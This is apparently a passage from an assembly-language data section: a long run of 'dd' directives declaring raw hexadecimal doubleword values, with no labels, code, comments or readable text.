		dd 0C1FE00E2h, 0CAB1DFE7h, 440099A0h, 35062005h, 3C3438Dh
		dd 48777EB8h, 2C991F68h, 80CD4A5h, 40D05900h, 0D250C653h
		dd 0FD8A3AE7h, 0F6BF2780h, 0E0B41B4h, 0E1230101h, 151DC384h
		dd 7CF88F8h, 0B1E9EDA4h, 810FF9EEh, 0D77C6880h,	0E8001748h
		dd 0FD19E1F2h, 1560A1Dh, 463576DAh, 0DC2A5420h,	250310B2h
		dd 7475F8Bh, 0F156E06Ah, 3AC07788h, 7FBD14Ah, 956EEB62h
		dd 9D8B50CEh, 83184787h, 14D010F0h, 0D4D63C97h,	0B0FE880h
		dd 53D23E01h, 8A71CD00h, 0B78E13B9h, 26100027h,	164AAB95h
		dd 63EED84Eh, 0EC835707h, 89D1673Dh, 0B5609940h, 0F27B0009h
		dd 8435D337h, 49008FAEh, 0EC5EDD2Fh, 2130879h, 982E8B5Ch
		dd 0A5606353h, 0CC03A869h, 28853AF3h, 435AE020h, 724000B8h
		dd 58E14BECh, 0E244D2Ch, 56004441h, 5357AED6h, 0D83900FAh
		dd 68518376h
		dd 0CA00AD3Eh, 1E15587Dh, 23AC3h, 0A0149574h, 637C0CACh
		dd 0F0444007h, 805973BFh, 114BD920h, 0EFE3A69h,	552D098Eh
		dd 78FF3C3Eh, 23725C21h, 9A0AFF0Eh, 0EB50DA40h,	591FB525h
		dd 6F00794Ah, 50CE8EDh,	7112F675h, 784D00F8h, 7CA85DF0h
		dd 1F1345E1h, 260E7D0Eh, 4254C04Ch, 0EA9768h, 5DEEE456h
		dd 523CA546h, 4CC75700h, 8DF3C959h, 0BBF60054h,	40E06BBAh
		dd 0BF0B3CD5h, 0B59F9Ah, 44CE4653h, 6BF300B7h, 0A2EEF47Bh
		dd 2400D23Ch, 705C9D64h, 42C0B4h, 0E4534AFEh, 8D6DD0AAh
		dd 0D700C8FCh, 9772EF0Dh, 8FE8C3h, 98E0138h, 2C03C766h
		dd 43C2830Fh, 7F084106h, 3AD08107h, 0CCB00F0h, 0E2EACBFh
		dd 2014510h, 2D4C6A30h,	0B09FC32Bh, 132C0732h, 121CF018h
		dd 11C1D08h, 80B91E80h,	8B0EC020h, 31473h, 0EE930C69h
		dd 0F29FEDAh, 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h
		dd 80401C93h, 758D3803h, 0F9601317h, 2870A203h,	53620B72h
		dd 0CC80C214h, 55B39296h, 4A00DB79h, 541825BCh,	852120h
		dd 0A542F4ADh, 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch
		dd 1D453E9h, 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h
		dd 127113Ch, 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h
		dd 443D6C61h, 65768072h, 0EC749530h, 3A430E50h,	75A0CCB4h
		dd 6C118721h, 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh
		dd 0DB45C6E1h, 100009BFh, 404D8D43h, 50DA1463h,	0D9B45Ch
		dd 74C3FB3Ah, 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h
		dd 75804CFEh, 755A00F3h, 0E7F9DF5Fh, 550025DDh,	450F43Bh
		dd 1F84F335h, 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh
		dd 1F41F1h, 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h
		dd 0B8A02E0h, 3EF708BAh, 0EC55D660h, 0CA6C51Eh,	89F8F3CAh
		dd 0D9B47C01h, 50E46E53h, 232A0208h, 28877141h,	3B83FC80h
		dd 76B8D12Eh, 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h
		dd 8A7B1812h, 3A3901F2h, 0E758250h, 41020742h, 78E95303h
		dd 1CCBC4h, 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h
		dd 0FFC50F11h, 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h
		dd 0F84D0067h, 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h
		dd 311600CFh, 58633F23h, 6DF6D761h, 0FC55C000h,	8D95FA2Ch
		dd 91BD072Ah, 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h,	909C1FBCh
		dd 0AEAD0141h, 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah
		dd 0EC2CA7D4h, 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h
		dd 0E0F3CB9Ch, 440C2A20h, 5089077Ch, 51100DD1h,	61E91977h
		dd 0A6C3202Fh, 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh
		dd 0DAC043C1h, 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h
		dd 0E42CC8FCh, 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh
		dd 20E14E1h, 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh
		dd 0E9ABA204h, 70816641h, 4717BA62h, 0C50040A7h, 27A09184h
		dd 24F50774h, 0F8FA80h,	0FC1390Dh, 920060FEh, 1D495057h
		dd 8CFE89h, 0EE475DDBh,	159862B8h, 81268D7Dh, 1612E344h
		dd 0AE80841Fh, 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h
		dd 2300A56Ah, 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h
		dd 5C0038EEh, 0EA72A5EBh, 0E2D14B0h, 39FC5A61h,	905C7C0h
		dd 93E47648h, 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh
		dd 0C10074B1h, 3A77EF56h, 0A9D319h, 0EBE2BB0Dh,	4910434Fh
		dd 0DD07901Fh, 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch
		dd 0A316A80Fh, 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh
		dd 173936E9h, 95380C9h,	480F34C3h, 4CAE4C41h, 7794050Ch
		dd 830011BCh, 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h
		dd 0C201E300h, 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h
		dd 14012A07h, 3C203B11h, 1E4199F0h, 0C08944BEh,	1525F7FEh
		dd 0C3006978h, 3519010h, 0B823A905h, 495A038Eh,	7180A5C8h
		dd 790407E0h, 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h
		dd 0BA1C1318h, 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h
		dd 3D008BC5h, 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h
		dd 8D6C9000h, 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h
		dd 0E1541A00h, 7C8848A5h, 77190094h, 4CEFEA99h,	0FF073534h
		dd 4D21832h, 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh
		dd 0FA81F800h, 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch
		dd 0BB0EF43Dh, 27902023h, 3AF8F06Ah, 190096F9h,	0D5D20A0Ch
		dd 100E954h, 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh
		dd 2AC31000h, 3B558F8h,	33C812A0h, 8FF05DBh, 57A9019Fh
		dd 0FC2DE241h, 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh
		dd 87D5355Ah, 9D0088F1h, 0C8D0E44Ch, 184351C1h,	66085D3Bh
		dd 42001D40h, 0EFD6934Eh, 1F90ABDCh, 40106A12h,	3075448Dh
		dd 0AC09B93Fh, 9109B5h,	0F5EF123Eh, 8BF61EC4h, 0DD807E06h
		dd 0BE11F9ECh, 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h
		dd 0F8C7448Ch, 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h
		dd 0F72765C5h, 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh
		dd 158A0582h, 81615E4Ch, 0F00F1032h, 35170BC3h,	700F3C5h
		dd 0E37F02BAh, 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh
		dd 127B81h, 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h
		dd 124300E5h, 60890C24h, 0DF901A90h, 59EF1000h,	5D88A03h
		dd 352900CBh, 0BA37DCD2h, 7200DAC1h, 22124E1Fh,	1772110h
		dd 0C6F7690Dh, 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h
		dd 5E1D0064h, 913BA40h,	0E800CEFAh, 0F535AE4Ah,	53CCA9h
		dd 0D9D24EFFh, 897F4801h, 16C90A07h, 64C158FCh,	0E6600E19h
		dd 2833B32h, 3E92042Ch,	3B66A080h, 7127506h, 76C98500h
		dd 45BE8B20h, 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah
		dd 0D400EC0h, 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h
		dd 4790C362h, 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h
		dd 0F01F84h, 1DC8BD4Ch,	0FC485FB9h, 0EFE06B02h,	0F58E412Dh
		dd 344F9B40h, 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h
		dd 0A0380C4h, 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h
		dd 19FA00C4h, 1624DEC0h, 0B100DF77h, 9B7A8528h,	70CAA1Dh
		dd 899E2099h, 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h
		dd 320D0598h, 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh
		dd 1A6DC9h, 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h
		dd 0B02E7E1Ch, 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah
		dd 0A282701Dh, 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h
		dd 5C80FAEAh, 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch
		dd 80792075h, 1757D054h, 11001993h, 0D2515303h,	0A04D14h
		dd 0F78B4781h, 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h
		dd 7F468A3Ch, 88050920h, 699D7F9h, 87578580h, 30871C2h
		dd 0A2B45005h, 604C6A8Eh, 4DE82C66h, 49271B00h,	0C0223Dh
		dd 0BAE12A76h, 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h
		dd 754F8568h, 0A91328E2h, 6100CA21h, 951ABB92h,	610D0705h
		dd 50201253h, 915189D4h, 80D00E3Ch, 3C4F9BE8h, 1F7F55h
		dd 522228DCh, 0A11392F0h
		dd 0E6E55800h, 309419D1h, 21F53F59h, 0D740A00h,	0ADD73C84h
		dd 4300EC90h, 564B5E2Ah, 1C212C30h, 0DE1D5960h,	40B51F5Bh
		dd 792A4D6h, 2C037389h,	852E56DDh, 352DA0FCh, 6B6C1EE9h
		dd 0C0655D64h, 991257C2h, 0AB735B30h, 6800C4E8h, 164E912Dh
		dd 0AF6CB8h, 0C20B9557h, 0C050C194h, 2DAD2201h,	49AC5C90h
		dd 4021FD40h, 6C7002Ch,	2811D6D4h, 9B03CB42h, 22431AFDh
		dd 7AD998AAh, 4330093h,	3C60ABCh, 0C9009901h, 6F8B29DEh
		dd 75B9A609h, 116500A5h, 5B73A488h, 1AE626C7h, 535D7401h
		dd 41243EF9h, 0D794E8h,	8DD38549h, 0E8CB3122h, 7B80BE1Eh
		dd 4C7E04C0h, 1FBAE619h, 402F2BE1h, 0F62E284Ah,	46FE2D42h
		dd 52D6EE00h, 92B6E74Fh, 2AB3008Dh, 1CB95D65h, 2E1F29C4h
		dd 80E7438h, 4254C730h,	17AF9770h, 3F59FA90h, 0EC00F7F0h
		dd 0CF806A9h, 0E4008AF4h, 89FC7E5Fh, 0F100F41h,	53A22F3Eh
		dd 3B2C9FA0h, 8000550Eh, 0A9F752B9h, 77138B2Ah,	1AA80796h
		dd 0B008F49Fh, 4A95651Dh, 54855600h, 5E2F412Eh,	6570E776h
		dd 0AA810057h, 80744965h, 0BE0207F0h, 0EB0F0263h, 0B24DE005h
		dd 7F17F8C1h, 0EC880E11h, 29604276h, 5245CC6h, 55455900h
		dd 0EB3125B2h, 93AF00CAh, 5C7D1404h, 0E1002CBCh, 100E2F71h
		dd 77F1799Ch, 9A0A0078h, 0EC6EDF3Eh, 52000B44h,	7367650Eh
		dd 0EE9320h, 0D3815A84h, 9B64C883h, 71BF1800h, 17514794h
		dd 93F20052h, 31D0811Fh, 0F80039D2h, 41D7408h, 5275F7h
		dd 9A16B192h, 730A8BB0h, 806D400h, 95419FE8h, 0B8495F01h
		dd 0B87E007Eh, 9451A25Ch, 740C0018h, 76453AF4h,	6F3ED5EFh
		dd 0BD200735h, 95F00A9Eh, 3CE25EAh, 0DB481408h,	0F7A0D81Eh
		dd 3D00A5D0h, 8A9018A9h, 7BC8FE04h, 6CF100F6h, 59AD14B9h
		dd 107D865h, 0C7D8051h,	0BBF27F50h, 5AEB0039h, 1FE81A03h
		dd 0C8005220h, 0E224D455h, 0F45148Ah, 4D485D37h, 0D03BA520h
		dd 46BE5105h, 0D800912Eh, 46048D21h, 0AA9E00C0h, 696FB20h
		dd 0D900AB10h, 0FAEBFC4h, 98177504h, 95700023h,	16F2B8D8h
		dd 0BE005CD4h, 0F8573ECEh, 54964h, 0B814922Ah, 6741526h
		dd 5869A703h, 0D8D1D7C2h, 13F681Ch, 3323E1FDh, 0D8458850h
		dd 10FA03B2h, 48A05D3Dh, 7ED20333h, 0C0800F40h,	704CA3Eh
		dd 5E0E8803h, 304AC7C3h, 0C40C51F1h, 0B2262F07h, 3A701B39h
		dd 7A66320Eh, 2E467588h, 0E5F45Ah, 5DD05110h, 0E800F83Eh
		dd 0D825996Fh, 730BEE89h, 4FAE0h, 0C822B7Ch, 265FAD56h
		dd 2ACBC907h, 5B7046FBh, 16BD1A21h, 0D0A58h, 1E8CED37h
		dd 7800A06Bh, 0FF21CC43h, 274D10h, 60DEDF75h, 7DF9B1E7h
		dd 0A7B36400h, 0EB2AC154h, 24A90707h, 57EA5953h, 0F57A501Fh
		dd 84002065h, 2C413249h, 7944A0h, 70B8220Ah, 62FB53BDh
		dd 190507Fh, 3300A0FCh,	13156A8h, 200BE5h, 5C15D524h, 6051F8C6h
		dd 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h, 10F28019h
		dd 13001109h, 87D18512h, 0EE881848h, 44012C1Ch,	57003F59h
		dd 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh,	503089D9h
		dd 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h, 0C36847C6h
		dd 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h,	4B011029h
		dd 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h, 0A981FBEBh
		dd 9100187Ah, 235060Ch,	0E2A876h, 5A402D7Ch, 52643155h
		dd 83762AE4h, 0A6187800h, 14D98906h, 0FCCE78FFh, 5A540E40h
		dd 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h, 7430682Eh,	14020800h
		dd 0FE6A24B2h, 3F40F60h, 0AA0129B0h, 0CED8AC10h, 808A3EC0h
		dd 0AF49741Fh, 0DCE82B00h, 0E2F8B2h, 8DFC864Ah,	0D65048A4h
		dd 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h,	6774292Eh
		dd 32003BD9h, 1120C61h,	2036A5Bh, 0AB574555h, 946330C3h
		dd 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h, 0CE81DCAAh
		dd 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h, 2F6FFABh
		dd 996625A7h, 4ADEEF7Eh, 3302C900h, 10CE307h, 1C8D180Bh
		dd 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h, 0ABBC0229h
		dd 519ACAA1h, 864BC640h, 5045480Ah, 500B91Fh, 44F0E83Fh
		dd 34CE0095h, 7DDB1EC3h, 0FE033E09h, 1058E665h,	0E7C0F8CDh
		dd 0EA310066h, 110DA5C3h, 100A229h, 0DC1C5E06h,	86957Eh
		dd 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh,	4280E2Eh
		dd 0A54261A6h, 0D0609FA0h, 1C002DE3h, 715FC831h, 934335h
		dd 8D092280h, 89A59644h, 6610B900h, 148EBB8h, 55500018h
		dd 0C395CCCFh, 8300021Fh, 20CD0C10h, 0B0067Dh, 6CE8AAF2h
		dd 0F312C879h, 80037BFEh, 363E2E26h, 6A65D064h,	0CD770006h
		dd 234D836Dh, 9DB0145Bh, 15A65E14h, 0A39400D5h,	0BEA09A95h
		dd 74EB0D3h, 3F8624FEh,	0E72230D2h, 420F01B7h, 56A57h
		dd 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh, 452401DBh
		dd 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah, 9DC0C100h
		dd 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h, 10B3D0F0h
		dd 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h, 7C09E381h
		dd 0B6430403h, 0C0C0D3A0h, 0D80108h, 48469466h,	65AD7AAAh
		dd 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h, 26076B24h
		dd 303CC200h, 0ED805889h, 66813BB3h, 5AA59Fh, 0D485F442h
		dd 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah, 8B2EC6AAh
		dd 0ED779201h, 0B151520Ah, 45AC0E0h, 0B88DC850h, 0D137837Ch
		dd 38302880h, 130B0300h, 2B230A1Bh, 0AA5E0033h,	8084B14Ah
		dd 0A200C0C7h, 6AB550B6h, 1D35C5AEh, 3EF58B98h,	0CAB803F9h
		dd 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh, 1733C55h
		dd 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah, 0FEE16753h
		dd 6E010028h, 91F93538h, 22009409h, 0DAC144AAh,	16EC89h
		dd 693E552h, 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh
		dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h
		dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h
		dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h,	65C2ADE1h
		dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h
		dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h
		dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh
		dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h,	401563A6h
		dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h
		dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh
		dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh
		dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h
		dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h
		dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh
		dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh
		dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh
		dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h
		dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h
		dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh
		dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h
		dd 3B004683h, 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh
		dd 96C0A938h
		dd 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h, 0CEB8001Ah
		dd 8F748D2h, 0AF982792h, 371D64F4h, 74ECAC16h, 9880C21Ch
		dd 0A5349714h, 7D2D0F72h, 19404312h, 0EC9E3937h, 0A446A00h
		dd 0CE64AA58h, 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh, 75138059h
		dd 508388EBh, 0A4C700AAh, 152553C6h, 2D004FF3h,	791E3AFCh
		dd 9A5BF8h, 1241FE5h, 0AF11E459h, 0D0033D00h, 708498A4h
		dd 0FEF28Fh, 736B6FF2h,	8CAA5524h, 8E749001h, 5E9219A7h
		dd 2785F8h, 8503D10h, 2F0C2E64h, 48F83E0Ah, 8F00CDC6h
		dd 5F4452B8h, 190A00E5h, 0AFF49940h, 0CD3A7180h, 0C2248012h
		dd 826F8A62h, 796E1DA6h, 85550303h, 2EB1215Eh, 0A580F056h
		dd 10658100h, 29DF4131h, 3D8F774Fh, 46002FC6h, 97A323Fh
		dd 0C500249Ch, 0E8842B54h, 40B3F7h, 37181665h, 53429AFBh
		dd 1331EA0Eh, 5F0E67EDh, 263A62C0h, 1493008Dh, 97103644h
		dd 0D6755420h, 0F3619801h, 453B92DEh, 40CC32E9h, 4333CA9h
		dd 0A126B700h, 29CA5C91h, 862B5B01h, 141CF92Fh,	0C62D30h
		dd 0FBA1FE45h, 83C22D7Fh, 400EBF8h, 6A762170h, 136FCA5h
		dd 75323C48h, 0C8180C24h, 0AE0F1499h, 0E0232091h, 100EEB29h
		dd 0F09004Bh, 12AFAA95h, 0AC38C21Fh, 47F20079h,	4402652Ah
		dd 407009F5h, 0DA8006F1h, 22F77ED2h, 1C1DE2FEh,	0B3262D45h
		dd 91BDC600h, 687130h, 33485E79h, 0FA8A4FFCh, 28A97B00h
		dd 39261980h, 2F7400F5h, 5DF45FC4h, 2200915Eh, 0F86594CAh
		dd 0E8CEB09Ah, 0E6B89Dh, 9C14B218h, 2A0B24C3h, 0B0790800h
		dd 8DFC5309h, 7D4EA48h,	5BC3048Ah, 212450DDh, 0D200AAB7h
		dd 0DB94719Ch, 6F5F44Bh, 0B23A4BBh, 0C20098D1h,	3E988ACBh
		dd 802113h, 7426C084h, 87ABF417h, 31A9CF02h, 8FA7FABFh
		dd 76FCC086h, 0B42CDADh, 3D023267h, 48662A80h, 3F0044C4h
		dd 2893DB49h, 3B5638A1h, 539DB732h, 3E8647Fh, 2018421Ch
		dd 9F0243A8h, 3D90A13Dh, 0FF93EC8h, 20BCD91Eh, 41B1D44Fh
		dd 11010033h, 0A4400343h, 6700DE34h, 0D8B4D753h, 88FC3Fh
		dd 0DAAD330Ch, 24CDC029h, 0F753FE00h, 1CA7A5D2h, 3E500195h
		dd 91DFC8A8h, 0B24460B5h, 55AFF39h, 17314FEBh, 6A697F80h
		dd 5B301E21h, 63FC09Eh,	56846B4Ah, 0D3A38B2Ch, 0D044CF07h
		dd 32EB6D70h, 40B20007h, 343F0937h, 26002D1Fh, 18465698h
		dd 0F48071B5h, 0CC020035h, 0EE4CDA24h, 40001E09h, 8339B045h
		dd 0D5CFAAh, 0A81AC91Ch, 0BBA5EDDAh, 5A962F0Eh,	0D748C0A4h
		dd 0F3FE63Ah, 35252991h, 0C717BB60h, 1D006434h,	0A2D3D2E2h
		dd 0E14F6Ah, 0B345233Eh, 20A9840Ch, 0E4EC3Ah, 0AA5382B6h
		dd 4C092293h, 0B00FFBADh, 4FAF8157h, 0C010DA47h, 0F8BC1F2Ah
		dd 9E031BB8h, 79BF4A85h, 6425A0FBh, 0A60C0F17h,	758F9339h
		dd 7DD8C560h, 0ED7A8D35h, 0E4A83700h, 0D6561CCEh, 636E2A1h
		dd 3465401h, 76007662h,	0E8028891h, 30D7B5Ah, 707E843Bh
		dd 0F0F77A85h, 0AC758224h, 0D1E62798h, 9F952200h, 0D12A4FCh
		dd 7A340047h, 0E804C8B9h, 7E3CC0ADh, 8770808Eh,	4DBEE269h
		dd 54F20E3Eh, 9767FC24h, 8BA4D08Fh, 76072B5Ch, 0B5BCC025h
		dd 0B752B620h, 0F0F6F1h, 0D092717Ah, 0FE81385Ah, 13DF8C00h
		dd 883F0848h, 0A58B01B0h, 5E956B77h, 0BBBD3092h, 0D3005BF0h
		dd 2704F3F0h, 11B974h, 9669508Ah, 1729BBC4h, 587CC80Bh
		dd 0FBCF0048h, 3EED805Ch, 0FD00C74Eh, 35BFC195h, 320009E5h
		dd 0E1731E82h, 85CA3Bh,	54862F07h, 109E6AE7h, 37B47E01h
		dd 4E05ACBEh, 0B16FE8C7h, 393B3827h, 7822F980h,	0BF8EC59h
		dd 6A3A401Ch, 0C38C49C0h, 2AFE909h, 97B4ED7Ah, 11601674h
		dd 2FE21CC7h, 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh, 8AFA2730h
		dd 653A22D2h, 34F49E60h, 9FCF3B40h, 961152h, 0FF8E2E25h
		dd 553C0310h, 0AF04E4E5h, 1B0061F2h, 0D5A71477h, 37F4062h
		dd 0A23F9A2Ch, 0C590832Eh, 9D054B6Ah, 0C35691Fh, 455ACD00h
		dd 0E79117h, 324A8110h,	22C2098Fh, 0EFB8B000h, 0D6E22EFCh
		dd 0AEEE00A7h, 5F74DADFh, 6A00B945h, 0BA8D4CD5h, 1BDE453h
		dd 0D6F8A032h, 0CC653B40h, 0C8168E4Bh, 6603B809h, 88C9172Fh
		dd 16D1CD99h, 0CF27A9h,	0D3672D0Fh, 4B00246Ah, 0C73D9C15h
		dd 388712h, 0E1B5358Eh,	207B3AD8h, 3C5A101Ch, 0A14C2FCFh
		dd 0EA9E0942h, 0C732D8h, 14FB89B0h, 3CDDA53Ah, 0A75DD901h
		dd 932156D8h, 0B795A0E3h, 20B80010h, 8CBF553Dh,	7E0007F8h
		dd 407D42FDh, 505AA41Fh, 722BF1DAh, 25180EA7h, 8CE0336Dh
		dd 0C81E1479h, 47895C00h, 9298714Dh, 4ED51D64h,	7D2E40F1h
		dd 0E637DA78h, 46B9C400h, 4B363A3h, 0BCB41CD0h,	0DDCEC0ECh
		dd 0E06F25DFh, 7668EA0Fh, 603E4E20h, 3B644E2Bh,	487109h
		dd 22759166h, 0A9944487h, 15BD8900h, 79566AA8h,	3A430913h
		dd 5900DBB3h, 0A2580693h, 1D52FB00h, 9E947E59h,	1E3600F5h
		dd 0CB349525h, 0AA003308h, 0A7E4C068h, 0F27AC322h, 2BE00051h
		dd 6B0D85E6h, 0B03F1F6Ch, 6919DA4h, 0F64C880h, 4815F4CAh
		dd 0C4002940h, 24269DF7h, 8D00090Ah, 6B5867EBh,	0E106F0h
		dd 86C403AFh, 912C2040h, 2A621D01h, 4F28023Fh, 0B866F8h
		dd 0A2F49C92h, 1C575E09h, 0DF956700h, 729A3F2Eh, 0A1651C96h
		dd 0B2444140h, 70CAFDE2h, 1A07551Bh, 74B66068h,	8C9C9ED0h
		dd 0B99D0042h, 0C8596D4Eh, 38C01CECh, 0CAFC4F7h, 54D20050h
		dd 2C634585h, 4100723Bh, 154A0B4Fh, 355ECBh, 70AC4EA8h
		dd 5FD5BD1h, 95796406h,	90740B9Dh, 11FEE7h, 2DAD3FB5h
		dd 0A66E64E7h, 0A410500h, 0E3AFB666h, 3C6AF609h, 0F300FCBBh
		dd 1354B0Bh, 9800FAC6h,	0C046D13h, 901C4E06h, 0A4AA0075h
		dd 8DB8F011h, 2400640Ah, 0F243AB04h, 15007DEh, 0FF5F6AFBh
		dd 0DC45E2DDh, 0B80BF7B9h, 80CE9504h, 0C451611Ch, 3DBA0EA4h
		dd 0AE7C5F0h, 386A8088h, 3C039964h, 0A0108DA8h,	0D10B1DACh
		dd 423483F2h, 14D8B2D8h, 0EF486A4Eh, 27400086h,	96554152h
		dd 4D050775h, 0A054BA08h, 0FC7328BBh, 68008C74h, 6B2F135Ch
		dd 4E5142h, 0D55247C2h,	0DE9DA396h, 43DA4100h, 77A98F27h
		dd 2DAC00C5h, 3A1DA6DFh, 7E009D30h, 0D76967EDh,	13CA6Eh
		dd 588DBADh, 847D8351h,	76818700h, 0A19BCCB8h, 2D900089h
		dd 98F50CE6h, 0D7975F4h, 0BB167B00h, 310157FDh,	0C353064Bh
		dd 662230EBh, 130073B8h, 90FA0681h, 53B858h, 0AB2CDC59h
		dd 30680D1Eh, 3E25E93Eh, 0FC059C73h, 0EFC350C1h, 70E4BDB3h
		dd 0F2213EB5h, 34232CFFh, 0CD00F37h, 604485A7h,	31382433h
		dd 80522831h, 54E41940h, 87C99h, 144B2C11h, 7955A41Ah
		dd 74A17D07h, 8B9303E8h, 0F60AB024h, 0B35300DDh, 5010255Bh
		dd 0BEE60D5h, 0E2308300h, 9750E01h, 487E00FFh, 0A7521AA1h
		dd 400D50Ch, 62BEE0DEh,	8153A0h, 438FE831h, 3325D16Bh
		dd 0E909D275h, 0EBB4B47h, 0C8EF80D3h, 0EF26610h, 0B40A657Bh
		dd 0AF80FEEEh, 5312EC43h, 295EEF0Eh, 7206803Ah,	7BA2EAh
		dd 7885463Bh, 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh, 472A7Ch
		dd 7E8BF633h, 62C074C6h, 52605307h, 0D1B77718h,	0C297BC0h
		dd 12440F9Fh, 0CC20F804h, 1A4626FFh, 0D9754F01h, 0A4DC4381h
		dd 7FF59AE8h, 1C2C072Ah, 30D6AB18h, 373FE828h, 1AC758h
		dd 0EC99EA24h, 5FA858h,	264C4442h, 5B2DAF53h, 0E094D500h
		dd 3B1C98C4h, 74F9A0BEh
		dd 547300ECh, 3ED6AA20h, 5198E2C1h, 5F184300h, 89652E7Ah
		dd 545E0B24h, 360040D0h, 0E40594B1h, 7E75D40Eh,	81CC3A1h
